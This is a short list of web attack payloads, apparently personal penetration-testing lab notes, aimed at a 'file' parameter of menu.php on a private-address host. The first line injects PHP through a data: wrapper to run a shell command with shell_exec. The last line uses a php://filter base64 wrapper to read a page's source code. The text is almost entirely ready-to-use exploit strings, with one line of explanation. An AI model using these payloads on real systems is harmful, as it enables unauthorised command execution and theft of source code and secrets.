http://10.11.0.22/menu.php?file=data:text/plain,<?php echo shell_exec("dir") ?>
http://10.11.0.22/menu.php?file=data:text/plain,hello world
# encode to b64 if the site is rendering php
http://10.11.0.22/menu.php?file=php://filter/convert.base64-encode/resource=index.php